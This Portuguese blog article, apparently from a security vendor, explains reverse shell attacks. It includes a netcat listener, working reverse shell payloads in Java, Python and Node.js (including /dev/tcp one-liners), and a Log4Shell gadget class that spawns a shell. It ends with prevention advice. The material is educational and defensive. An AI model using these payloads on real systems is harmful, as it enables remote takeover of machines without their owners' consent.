Assumindo o controle do seu servidor por meio de um ataque de reverse shell

Criar e executar um aplicativo na sua linguagem favorita geralmente é bem simples. Depois de criar o aplicativo, implantá-lo e apresentá-lo ao mundo também é bastante direto. A última coisa que você quer é alguém assumindo o controle do seu sistema e do aplicativo recém-criado. Neste artigo, vou explicar como isso pode acontecer por meio de um ataque de reverse shell.

Os exemplos de código deste artigo têm fins exclusivamente educacionais. Meu objetivo é explicar o que é um ataque de shell remoto e como ele pode ocorrer nos seus aplicativos. Não recomendamos usar este ou qualquer outro exemplo para invadir sistemas de terceiros. Na maioria dos países, invadir sistemas sem o consentimento do alvo é ilegal, mesmo que você tenha as melhores intenções.

O que é um reverse shell?

Um reverse shell (ou shell de conexão reversa) é uma sessão de shell iniciada pela máquina-alvo em um host remoto. A máquina-alvo abre a sessão com um host e uma porta específicos. Uma conexão de shell pode ser estabelecida se o host remoto estiver escutando nessa porta com o software adequado. É importante notar que a conexão é iniciada pela máquina-alvo, não pelo host remoto.

Em um ataque de shell remoto, o invasor tenta fazer com que a máquina da vítima inicie esse tipo de conexão. O ataque pode estabelecer acesso interativo ao shell (basicamente, um terminal) e assumir o controle da máquina da vítima.

Como acontece um ataque de reverse shell?

Na maioria dos casos, um ataque de reverse shell acontece quando um aplicativo está vulnerável à execução remota de código. O invasor usa essa vulnerabilidade no aplicativo para executar um código na máquina da vítima que inicia a sessão de shell. Sem saber, a vítima cria uma conexão, e o invasor só precisa escutar as conexões recebidas na porta correta. Quando a conexão é estabelecida, o invasor obtém acesso ao shell da vítima e pode fazer todo tipo de coisa.

Pense em uma bola de tênis. Se você a jogar contra algo duro, ela vai voltar na sua direção. Basta pegá-la no lugar e na hora certos. 

Como estabelecer uma conexão de reverse shell

Há várias opções para criar um reverse shell, dependendo da linguagem que você usa. Mas, antes de executar esse código, precisamos garantir que estamos escutando na porta correta para receber conexões.

Como escutar conexões recebidas usando netcat

Uma ótima ferramenta para isso é o netcat. O netcat (muitas vezes abreviado como nc) é um utilitário de rede para ler e gravar dados em conexões usando TCP ou UDP. Na máquina à qual você quer conectar o reverse shell, use o netcat para escutar as conexões recebidas em uma porta específica. O exemplo abaixo mostra como fazer o netcat escutar na porta 9001. O parâmetro v não é estritamente necessário, mas exibe informações detalhadas.

1nc -lvp 9001

Execute um reverse shell em Python, Java ou Node.js

Vamos ver duas maneiras de configurar um reverse shell. Os dois exemplos funcionam em sistemas que têm o shell bash instalado.

Payload de reverse shell:

O primeiro método é programático: iniciamos um shell e, em seguida, criamos uma conexão de socket com o computador remoto usando o endereço IP e a porta adequados.

Por fim, conectamos os descritores de arquivo (entrada, saída e erro) do shell ao socket recém-criado.

Java

1public static void main(String[] args) throws IOException {
2       Process process = new ProcessBuilder("bash").redirectErrorStream(true).start();
3       Socket socket = new Socket("127.0.0.1", 9001);
4       InputStream pInput = process.getInputStream();
5       InputStream pError = process.getErrorStream();
6       InputStream sInput = socket.getInputStream();
7
8       OutputStream pOutput = process.getOutputStream();
9       OutputStream sOutput = socket.getOutputStream();
10
11       while (!socket.isClosed()) {
12           while (pInput.available() > 0) sOutput.write(pInput.read());
13           while (pError.available() > 0) sOutput.write(pError.read());
14           while (sInput.available() > 0) pOutput.write(sInput.read());
15           sOutput.flush();
16           pOutput.flush();
17       }
18}

Neste exemplo em Java, direcionamos o InputStream e o ErrorStream do processo para o OutputStream da conexão de socket remoto. Também precisamos fazer o caminho inverso e gravar o Socket OutputStream no Inputstream do processo bash.

Reverse shell em Python

1import sys,socket,os,pty;
2
3s = socket.socket();
4s.connect(("127.0.0.1",9001));
5[os.dup2(s.fileno(),fd) for fd in (0,1,2)];
6pty.spawn("bash");

Neste script em Python, conectamos stdin, stdout e stderr ao socket. Em sistemas Unix-like, esses são os três primeiros descritores de arquivo. Em seguida, usamos pty para executar bash.

Node.js

1var net = require("net");
2var cp = require("child_process");
3var sh = cp.spawn("bash", []);
4var client = new net.Socket();
5client.connect(9001, "127.0.0.1", function(){
6   client.pipe(sh.stdin);
7   sh.stdout.pipe(client);
8   sh.stderr.pipe(client);
9});

Este exemplo em Node.js é muito parecido com o de Python. Executamos bash e conectamos os descritores de arquivo padrão ao socket da maneira adequada.

Execute um comando de reverse shell:

O segundo método é um pouco mais curto. A maioria das linguagens oferece uma maneira de executar comandos de shell, como:

• Runtime.getRuntime() em Java

• os.system() em Python

• require(‘child_process’).exec() em Node.js

Podemos usar essas funções para chamar um comando de shell de uma linha que inicia o reverse shell.

Java

1public static void main(String[] args) throws IOException {
2   String[] cmd = {
3           "bash",
4           "-c",
5           "exec 5<>/dev/tcp/127.0.0.1/9001;cat <&5 | while read line; do $line 2>&5 >&5; done" };
6
7   Runtime.getRuntime().exec(cmd);
8}

Python

1import os;
2
3os.system('bash -c "bash -i 5<> /dev/tcp/127.0.0.1/9001 0<&5 1>&5 2>&5"')
4

Node.js

1require('child_process').exec('bash -c "bash -i 5<> /dev/tcp/127.0.0.1/9001 0<&5 1>&5 2>&5"')

Se você executar primeiro o comando netcat para escutar na porta 9001 e, depois, executar este código, verá que a conexão é estabelecida e poderá executar comandos de shell, como o mostrado abaixo.

Todos os exemplos acima estabelecem uma conexão de reverse shell com a sua própria máquina. Se quiser fazer isso em uma máquina remota, é claro que você precisará alterar o endereço IP. Além disso, lembre-se de que, mesmo com acesso, os privilégios dependem do usuário que executa o código na máquina da vítima. Para obter privilégios elevados, talvez seja necessário fazer mais algumas coisas.

Como criar um ataque de reverse shell usando uma vulnerabilidade de execução remota de código

Para realizar um ataque de verdade usando exemplos de código como estes, precisamos explorar uma vulnerabilidade de execução de código e inserir o código em um sistema existente. Um ótimo exemplo é a vulnerabilidade Log4Shell, descoberta em dezembro de 2021. Era possível inserir uma classe gadget que executava código quando instanciada. Muitos exemplos mostravam como abrir a calculadora ou fazer algo inofensivo. Ainda assim, o código abaixo criaria um gadget para essa famosa vulnerabilidade do Log4j. Em vez de abrir a calculadora, explorar o Log4Shell permite transformar essa vulnerabilidade em um meio de habilitar um reverse shell.

1public class Evil implements ObjectFactory {
2
3   @Override
4   public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
5       String[] cmd = {
6               "/bin/bash",
7               "-c",
8               "exec 5<>/dev/tcp/127.0.0.1/9001;cat <&5 | while read line; do $line 2>&5 >&5; done" };
9
10       Runtime.getRuntime().exec(cmd);
11       return null;
12   }
13}

Quase todas as vulnerabilidades de execução remota de código podem ser usadas para habilitar um ataque de reverse shell. Outros exemplos recentes são o Spring4Shell e a vulnerabilidade RCE do Apache Commons Configuration. Nenhum dos dois foi tão problemático quanto o Log4Shell, mas qualquer um deles pode ser usado para criar um ataque de reverse shell e possivelmente controlar uma máquina-alvo. Por isso, é essencial impedir que entradas do usuário sejam executadas, mesmo que parcialmente.

Com o Snyk Open Source, você pode analisar seu aplicativo em busca de vulnerabilidades em bibliotecas de código aberto, incluindo esse problema no Log4j. Veja um exemplo da saída do plugin da Snyk para IntelliJ IDEA, que aponta o problema e sua correção.

Como evitar ataques de reverse shell

Se impedirmos que um invasor execute código na sua máquina, eliminaremos quase todas as possibilidades de um ataque de reverse shell. Vamos ver algumas medidas que você pode adotar como desenvolvedor para evitar ataques maliciosos desse tipo.

• Remova instruções de execução. Evite ao máximo instruções no seu código que executem scripts ou outros trechos de código, como exec().

• Sanitize e valide as entradas. Considere toda entrada potencialmente maliciosa. Isso não se limita às entradas fornecidas diretamente pelo usuário. Por exemplo, se um campo do banco de dados for usado como entrada para uma execução, alguém poderá tentar atacar o banco de dados.

• Execute seu aplicativo com privilégios limitados. Não execute o aplicativo como root: crie um usuário com o menor nível de privilégio necessário. Infelizmente, isso acontece com frequência em aplicativos executados em contêineres Docker, já que o usuário padrão de um contêiner Docker é root.

• Evite vulnerabilidades que permitem a execução remota de código. Se uma biblioteca ou estrutura estiver comprometida, substitua-a por uma versão segura.

Quase todas as vulnerabilidades de execução remota de código podem ser usadas em um ataque de reverse shell, mesmo quando esse cenário parece improvável.

A Snyk pode ajudar!

A Snyk ajuda a evitar ataques de reverse shell ao analisar seu código e suas dependências. Ela identifica possíveis falhas de segurança no código personalizado e verifica as dependências transitivas em busca de vulnerabilidades conhecidas.